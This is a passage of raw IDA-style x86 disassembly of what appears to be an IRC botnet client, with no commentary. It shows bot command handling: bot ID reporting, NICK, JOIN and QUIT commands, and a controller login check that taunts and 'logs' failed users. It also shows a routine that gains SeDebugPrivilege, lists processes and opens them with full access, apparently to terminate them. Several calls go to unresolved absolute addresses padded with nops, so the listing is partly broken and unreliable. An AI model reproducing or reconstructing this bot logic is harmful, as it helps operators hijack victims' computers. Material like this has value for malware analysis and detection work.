					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FE40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414807


loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------


loc_414807:				; CODE XREF: sub_40EE72+597Dj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_42FDF0
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42FDC8
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43AE30
		call	dword_43ACF8
		call	sub_40AC42
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FDA0
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FD78
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FD50
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4149AD


loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_414997
; ---------------------------------------------------------------------------


loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_42FD08
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_42FCE0
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------


loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_42FCDC
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------


loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx


loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FCB0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414AA8


loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------


loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_42FC68


loc_414AB4:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414AC3:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_42FC40
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_42FC04


loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------


loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx


loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------


loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FBB4
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FB74
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_42FB64
		push	offset dword_42FB58
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_42FB4C
		push	offset dword_42FB3C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------


loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8


loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi


loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------


loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------


loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl


loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414CFC


loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------


loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_42FAF4
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F


loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1


loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_42FAA8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414DF6


loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_42FA5C


loc_414E02:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------


loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_42FA3C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_42FA00
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_42F9C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432E04
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_42F990


loc_414F40:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx


loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx


loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_432E80 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_436EF4
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_42F98C ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F904
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C4


loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6C8
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F8C8
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B


loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F89C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42F86C
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_4CD76C, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2790D2Fh
		push	eax
		call	dword_43AD7C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------


loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43AD54
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------


loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43AE04
		mov	esi, eax


loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26508BEh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43ADB8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43AD9C, ebx
		jz	loc_415334
		cmp	dword_43ACB8, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43ADB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43AD9C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322


loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43ACB8
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43ADB8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43AC64
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------


loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]


loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]


loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------


loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 27304F3h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		call	near ptr 27E09D1h
		nop
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------


loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi


loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx


loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax


loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_432F04
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
